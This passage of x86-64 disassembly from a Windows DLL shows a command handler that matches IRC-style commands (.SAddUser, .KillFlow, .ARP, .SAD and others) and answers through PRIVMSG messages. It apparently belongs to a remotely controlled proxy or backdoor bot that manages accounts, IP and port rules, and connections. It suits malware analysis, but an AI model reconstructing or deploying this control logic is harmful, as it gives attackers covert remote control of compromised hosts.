je 0x1800451d9
lea rdx, str.AllowedDestIP
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800451d9
lea rdx, str.AllowedDestPort
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800451d9
lea rdx, str.DeniedDestPort
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800451d9
lea rdx, str.DeniedDestIP
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800451d9
lea rdx, str.DeniedIP
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800451d9
lea rdx, str.Speed
mov rcx, rbx
call fcn.180053060
cmp eax, r14d
je 0x1800451d9
lea rdx, str.IdleTime
mov rcx, rbx
call fcn.180053060
lea rdi, [0x18009b400]
cmp eax, r14d
jne 0x180043b77
mov r9, qword [rsp + 0x108]
mov rcx, qword [0x180097630]
mov r8, rbx
mov rdx, rbp
mov dword [rsp + 0x20], esi
call fcn.18003eebc
jmp 0x18004a158
lea rdx, str..SAI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800452a4
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x180045257
cmp edi, 9
je 0x180045257
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_IdleTime___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x18004527c
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18002218c
jmp 0x18004a158
lea rdx, str..TUU
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045325
mov ebp, dword [rsp + 0x80]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x180043aca
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rdi, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rdi, qword [rsp + 0xf0]
call fcn.180008274
mov ebx, eax
call fcn.180008144
mov dword [rsp + 0x28], ebx
mov r9, rdi
lea r8, str.PRIVMSG__s_:UDP_User:__d____d_r_n
mov rdx, r12
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x540]
jmp 0x1800442a1
lea rdx, str..KPC
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800453e9
cmp edi, 7
je 0x180045352
mov ebp, dword [rsp + 0x80]
cmp edi, 6
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov esi, r14d
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x1800453a3
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
cmp eax, r14d
je 0x1800453a3
mov rcx, qword [rsp + 0x100]
call fcn.180054324
mov esi, eax
xor edx, edx
mov ecx, esi
call fcn.180025678
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
jbe 0x1800453d8
lea r8, str.PRIVMSG__s_:_d_Pending_Connections_____d_Seconds__Killed_r_n
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
jmp 0x18004a13b
lea r8, str.PRIVMSG__s_:No_Pending_Connection_r_n
call fcn.1800528fc
jmp 0x18004a13b
lea rdx, str..TPC
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045491
cmp edi, 7
je 0x180045416
mov ebp, dword [rsp + 0x80]
cmp edi, 6
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov esi, r14d
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x180045467
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
cmp eax, r14d
je 0x180045467
mov rcx, qword [rsp + 0x100]
call fcn.180054324
mov esi, eax
mov ecx, esi
call fcn.1800081a0
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
jbe 0x1800453d8
lea r8, str.PRIVMSG__s_:_d_Pending_Connections_____d_Seconds__r_n
jmp 0x1800453c6
lea rdx, str..SAGB
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004558c
cmp edi, 6
je 0x1800454be
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
mov ebx, r14d
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 7
jne 0x18004550b
mov rcx, qword [rsp + 0x100]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
lea eax, [rdi - 6]
cmove ebx, eax
mov edi, 0x7ff
lea rcx, [rsp + 0x34f1]
xor edx, edx
mov r8, rdi
mov byte [rsp + 0x34f0], r14b
call fcn.180052810
lea ebp, [rdi + 1]
lea rcx, [rsp + 0x34f0]
mov r8, rbp
xor edx, edx
call fcn.180052810
lea rcx, [rsp + 0x34f0]
mov edx, ebp
call fcn.180007c34
cmp eax, r14d
je 0x180045560
lea r8, [rsp + 0x34f0]
jmp 0x1800456a7
lea r8, str.PRIVMSG__s_:_s_Fail_To_Get_All_IP_r_n
lea rcx, [rsp + 0x34f0]
mov r9, rsi
mov rdx, rdi
mov qword [rsp + 0x20], rsi
call fcn.1800528fc
lea rdx, [rsp + 0x34f0]
jmp 0x18004a143
lea rdx, str..SGC
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045625
cmp edi, 7
je 0x1800455b9
mov ebp, dword [rsp + 0x80]
cmp edi, 8
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
mov ebx, r14d
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 8
jne 0x180045606
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
lea eax, [rdi - 7]
cmove ebx, eax
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov r9d, ebx
mov rdx, rsi
call fcn.18002aafc
jmp 0x18004a158
lea rdx, str..SGB
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800456be
cmp edi, 7
je 0x180045652
mov ebp, dword [rsp + 0x80]
cmp edi, 8
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
mov ebx, r14d
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 8
jne 0x18004569f
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
lea eax, [rdi - 7]
cmove ebx, eax
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov r9d, ebx
mov rdx, rsi
call fcn.1800201ac
jmp 0x18004a158
lea rdx, str..SGP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045757
cmp edi, 7
je 0x1800456eb
mov ebp, dword [rsp + 0x80]
cmp edi, 8
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
mov ebx, r14d
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 8
jne 0x180045738
mov rcx, qword [rsp + 0x108]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
lea eax, [rdi - 7]
cmove ebx, eax
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
mov r9d, ebx
mov rdx, rsi
call fcn.18003eca4
jmp 0x18004a158
lea rdx, str..LAS
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800457cb
cmp edi, 6
je 0x180045780
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov rcx, qword [0x180097630]
mov r8, r14
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
cmove r8, qword [rsp + 0x100]
mov rdx, rbx
call fcn.1800236f4
jmp 0x18004a158
lea rdx, str..KillLR
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800458ae
cmp edi, 6
je 0x1800457f8
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
lea rcx, [0x18009af48]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call fcn.180007268
lea rcx, [0x18009af48]
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp esi, r14d
jne 0x180045862
lea r8, str.PRIVMSG__s_:The_Login_Record_List_Is_Empty_r_n
call fcn.1800528fc
jmp 0x180045872
lea r8, str.PRIVMSG__s_:_d_Records_Have_Been_Empty_r_n
mov dword [rsp + 0x20], esi
call fcn.1800528fc
cmp edi, 7
jne 0x18004a13b
mov rcx, qword [rsp + 0x100]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
lea ebx, [rdi - 6]
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
jmp 0x18004a13b
lea rdx, str..KillAs
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045939
cmp edi, 6
je 0x1800458d7
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov r8d, r14d
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
jne 0x180045925
mov rcx, qword [rsp + 0x100]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r8d, r14d
cmp eax, r14d
sete r8b
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.1800235f8
jmp 0x18004a158
lea rdx, str..KillFlow
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800459c8
cmp edi, 6
je 0x180045962
mov ebp, dword [rsp + 0x80]
cmp edi, 7
jne 0x180043ac3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ecx, r14d
lea r8, str.PRIVMSG__s_:The_Data_Flow_Record_Has_Been_Refreshedr_n
cmp eax, r14d
mov eax, r14d
mov rdx, r12
cmove rbx, qword [rsp + 0xf0]
xchg dword [0x18009b5f0], eax
xchg dword [0x18009b5f4], ecx
mov ecx, r14d
mov eax, r14d
mov r9, rbx
xchg dword [0x18009b600], eax
xchg dword [0x18009b604], ecx
lea rcx, [rsp + 0x540]
jmp 0x18004585b
lea rdx, str..AGRP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045a52
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 6
je 0x180045a20
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov rcx, qword [0x180097630]
mov r8d, r14d
cmp eax, r14d
mov rdx, rbx
sete r8b
call fcn.180031a70
jmp 0x18004a158
lea rdx, str..GARP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045b19
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ecx, 3
cmp eax, r14d
lea eax, [rdi - 8]
cmove rbx, qword [rsp + 0xf0]
cmp eax, ecx
ja 0x180045b08
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov edx, r14d
mov rcx, r14
cmp eax, r14d
mov rax, r14
sete dl
cmp edi, 0xa
jb 0x180045ad6
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x118]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x180097630]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.180031bdc
jmp 0x18004a158
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__RemoteHost_RemotePort__UserName___Password____s__r_n
jmp 0x18004a128
lea rdx, str..ARP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045bed
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ecx, 3
cmp eax, r14d
lea eax, [rdi - 9]
cmove rbx, qword [rsp + 0xf0]
cmp eax, ecx
ja 0x180045bdc
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov edx, r14d
mov rcx, r14
cmp eax, r14d
mov rax, r14
sete dl
cmp edi, 0xb
jb 0x180045b9d
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x120]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x38], edx
mov qword [rsp + 0x30], rcx
mov rcx, qword [0x180097630]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x110]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.1800226ec
jmp 0x18004a158
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_RemoteHost_RemotePort__UserName___Password____s__r_n
jmp 0x18004a128
lea rdx, str..Timer
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045c54
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 6
lea rdi, [0x18009b400]
jne 0x18004413b
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.180025424
jmp 0x1800442c3
lea rdx, str..DORP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045ce6
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
je 0x180045cac
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
mov r9d, r14d
mov rdx, rbx
sete r9b
call fcn.18003bf04
jmp 0x18004a158
lea rdx, str..DARP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045d70
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 6
je 0x180045d3e
mov ebp, dword [rsp + 0x80]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov rcx, qword [0x180097630]
mov r8d, r14d
cmp eax, r14d
mov rdx, rbx
sete r8b
call fcn.180025144
jmp 0x18004a158
lea rdx, str..DARPB
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045e02
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 7
je 0x180045dc8
mov ebp, dword [rsp + 0x80]
cmp edi, 8
lea rdi, [0x18009b400]
jne 0x18004413b
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x180097630]
cmp eax, r14d
mov r9d, r14d
mov rdx, rbx
sete r9b
call fcn.180025b90
jmp 0x18004a158
lea rdx, str..AARP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045ebc
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
mov ecx, 3
cmp eax, r14d
lea eax, [rdi - 8]
cmove rbx, qword [rsp + 0xf0]
cmp eax, ecx
ja 0x180045b08
mov rcx, qword [rsp + rsi*8 + 0xc8]
lea rdx, [0x18007a39c]
call fcn.180053060
mov edx, r14d
mov rcx, r14
cmp eax, r14d
mov rax, r14
sete dl
cmp edi, 0xa
jb 0x180045e8a
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x118]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x180097630]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.180024ba0
jmp 0x18004a158
lea rdx, str..SAA
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180045f64
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x180045f17
cmp edi, 9
je 0x180045f17
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_AllowedIP___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x180045f3c
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18003aa60
jmp 0x18004a158
lea rdx, str..SAD
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004600c
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x180045fbf
cmp edi, 9
je 0x180045fbf
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DeniedIP___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x180045fe4
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18003adc8
jmp 0x18004a158
lea rdx, str..SADA
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800460b4
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x180046067
cmp edi, 9
je 0x180046067
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DestAllowedIP___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x18004608c
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18003b130
jmp 0x18004a158
lea rdx, str..SADD
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004615c
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004610f
cmp edi, 9
je 0x18004610f
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DeniedDestIP___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x180046134
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18003bb68
jmp 0x18004a158
lea rdx, str..SADDD
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046204
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x1800461b7
cmp edi, 9
je 0x1800461b7
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DeniedDestPort___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x1800461dc
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18003b498
jmp 0x18004a158
lea rdx, str..SADP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800462ac
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004625f
cmp edi, 9
je 0x18004625f
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DestAllowedPort___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x180046284
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18003b800
jmp 0x18004a158
lea rdx, str..SAddUser
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800464f1
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 0xb
je 0x180046307
cmp edi, 0xc
je 0x180046307
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__UserName_Password_MaxConnectionPerIP_TotalConnection_ExpireDate___s__r_n
jmp 0x18004a128
mov esi, r14d
cmp edi, 0xc
jne 0x18004632a
mov rcx, qword [rsp + 0x128]
lea rdx, [0x18007a39c]
call fcn.180053060
cmp eax, r14d
sete sil
lea rdx, [0x180000000]
mov eax, 0x2a2e2a
lea rcx, [rsp + 0x520]
mov dword [rsp + 0x4e8], eax
mov dword [rsp + 0x4e4], eax
mov eax, dword [rdx + 0x75ebc]
mov dword [rcx], eax
mov al, byte [rdx + 0x75ec0]
mov r8d, 0x30
mov byte [rcx + 4], al
mov eax, dword [rdx + 0x75ebc]
lea rcx, [rsp + 0x528]
mov dword [rcx], eax
mov al, byte [rdx + 0x75ec0]
mov word [rsp + 0xa0], r8w
mov byte [rcx + 4], al
movzx eax, word [rdx + 0x79ed0]
lea rcx, [rsp + 0x4d0]
mov word [rcx], ax
mov al, byte [rdx + 0x79ed2]
mov word [rsp + 0xb0], r8w
mov byte [rcx + 2], al
lea rcx, [rsp + 0x15e1]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x4fc], 0x303036
mov byte [rsp + 0x15e0], r14b
call fcn.180052810
mov edi, 0x104
lea rcx, [rsp + 0x15e0]
mov r8, rdi
xor edx, edx
call fcn.180052810
mov rax, qword [rsp + 0x120]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
lea r11, [rsp + 0x4fc]
lea rcx, [rsp + 0x15e0]
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0xb0]
mov edx, edi
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x528]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x520]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x4e4]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4e8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x20], rax
call fcn.180038b08
mov r9, rbx
mov rdx, r12
lea rcx, [rsp + 0x540]
cmp eax, r14d
jne 0x1800464b7
lea r8, str.PRIVMSG__s_:One_Of_The_Item_Is_NULL_r_n
call fcn.1800528fc
jmp 0x1800464d0
lea rax, [rsp + 0x15e0]
lea r8, str.PRIVMSG__s_:_s
mov qword [rsp + 0x20], rax
call fcn.1800528fc
mov ebp, dword [rsp + 0x80]
mov ebx, 1
lea rdi, [0x18009b400]
cmp esi, r14d
jne 0x180043aca
jmp 0x18004a4f6
lea rdx, str..KSI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ac1d
lea rdx, str..KDI
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ac1d
lea rdx, str..KDP
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
je 0x18004ac1d
lea rdx, str..VLU
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x1800465f3
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rsi, qword [rsp + 0xd0]
call fcn.180053060
mov ebp, dword [rsp + 0x80]
cmp eax, r14d
cmove rsi, qword [rsp + 0xf0]
cmp edi, 7
lea rdi, [0x18009b400]
jne 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.18000496c
lea rdi, [0x18009b400]
cmp eax, r14d
je 0x180043aca
mov rcx, qword [rsp + 0x100]
call fcn.180054324
mov ebx, eax
call fcn.180008274
lea rdi, [0x18009b400]
cmp eax, ebx
mov ebx, 1
jb 0x180043aca
mov dword [rsp + 0x20], eax
mov r9, rsi
lea r8, str.PRIVMSG__s_:Total_Login_Connections:__d_r_n
mov rdx, r12
lea rcx, [rsp + 0x540]
jmp 0x180044698
lea rdx, str..SAT
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x18004669b
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x18004664e
cmp edi, 9
je 0x18004664e
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_Enable_Disable___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x180046673
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.18002243c
jmp 0x18004a158
lea rdx, str..SAE
mov rcx, rbp
call fcn.180053060
cmp eax, r14d
jne 0x180046743
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x18009b3e8]
mov rbx, qword [rsp + 0xd0]
call fcn.180053060
cmp eax, r14d
cmove rbx, qword [rsp + 0xf0]
cmp edi, 8
je 0x1800466f6
cmp edi, 9
je 0x1800466f6
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_ExpireDate___s__r_n
jmp 0x18004a128
mov ecx, r14d
cmp edi, 9
jne 0x18004671b
mov rcx, qword [rsp + 0x110]
lea rdx, [0x18007a39c]
call fcn.180053060
mov ecx, r14d
cmp eax, r14d
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x180097630]
mov rdx, rbx
call fcn.180021dd0
jmp 0x18004a158
lea rdx, str..SAS
mov rcx, rbp
